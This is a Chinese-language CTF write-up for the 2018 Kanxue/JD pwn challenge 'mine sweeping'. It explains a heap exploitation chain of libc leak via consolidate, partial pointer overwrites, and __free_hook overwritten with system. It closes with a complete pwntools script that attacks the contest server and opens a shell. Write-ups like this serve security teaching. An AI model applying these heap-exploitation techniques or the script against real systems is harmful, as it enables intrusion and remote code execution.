-
-
[原创]看雪.京东 2018CTF 第十四题 PWN-mine sweeping
-
2018-7-12 22:39 2575
-
又是保护全开的堆考题。
程序主体是个扫雷游戏,8x8的棋盘,30个雷,如下图:
这里判断了是否在游戏中,如果在游戏中就不再进行初始化。
游戏逻辑稍显复杂,但比较关键的是赢了游戏之后的留名功能,如下图:
如果能够控制name指针,即可做任意地址写。
于是想办法泄漏libc。想要输出东西,必须走打印棋盘的逻辑。注意到输出的时候是间隔输出的,如下图。所以想要完整泄漏还必须控制这个棋盘信息字符串数组中的指针,让程序可以错位泄露。
回到程序开头,还有一个反馈BUG功能,可以自由malloc。而游戏还有另一个关键点,退出游戏时会free几个东西:
game_info结构体的大小是0x40,另外两个是0x50。
那么通过反馈BUG功能即可控制game_inf,这样可以对name指针做部分写,从而达到泄漏的目的;还可以触发consolidate合并0x50的块,从而得到libc。
总结一下就是,进出游戏一次,触发consolidate来获得libc指针,然后反复控制0x40的块,对name指针做低字节写入,让name指向表示棋盘的指针数组,通过留名功能即可修改字符串指针,两次低字节修改,做错位泄漏。泄漏libc之后就随便玩了,这里把name写成free_hook,再留名即可改成system。
完整利用脚本如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * code = ELF('./minesweep') libc = ELF('./libc.so') context.arch = code.arch context.log_level = 'info' def start_game(): r.sendlineafter('$ ', '1') def bug(size, data): r.sendlineafter('$ ', '2') r.sendlineafter(':', str(size)) r.send(data) def sweep(x, y, z): r.sendlineafter('----------------------\n', 'explore') r.sendlineafter('input x,y,z\n', '{},{},{}'.format(x,y,z)) def out(): r.sendline('out, ') def back(): r.sendline('back, ') def exploit(r): start_game() out() bug(1024, '\x00'*1024) bug(0xa0-8, flat( 'A'*0x50, '\x00'*42, '\n' )) bug(0x40-8, flat( 0,1, 0,1, 0,'\x40\x91' '\n')) start_game() sweep(1,1,3) r.sendlineafter('hero\n', flat('\xa0\x90')) back() start_game() r.recvuntil('----------------------\n') r.recvuntil('----------------------\n') tmp = r.recvline().strip() tmp1 = tmp[0] + tmp[3] + tmp[6] + tmp[9] back() bug(0x40-8, flat( 0,1, 0,1, 0,'\x40\x91' '\n')) start_game() sweep(1,1,3) r.sendlineafter('hero\n', flat('\xa1')) back() start_game() r.recvuntil('----------------------\n') r.recvuntil('----------------------\n') tmp = r.recvline().strip() tmp2 = tmp[0] + tmp[3] + tmp[6] + tmp[9] back() libc.address = u64(flat(zip(tmp1,tmp2))) - libc.sym['__malloc_hook']-0x78 info('%016x libc.address', libc.address) bug(0x40-8, flat( 0,1, 0,1, 0, libc.sym['__free_hook'], '\n')) start_game() sweep(1,1,3) r.sendlineafter('hero\n', flat(libc.sym['system'])) back() print `tmp1` print `tmp2` bug(0x40-8, '/bin/sh\x00\n') r.interactive() r = remote('139.199.99.130', 8686) exploit(r)
有个小问题是由于堆排布的问题,让name指向指针数组需要低字节写入两个byte,需要撞其中的4bit,成功率1/16。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
他的文章
看原图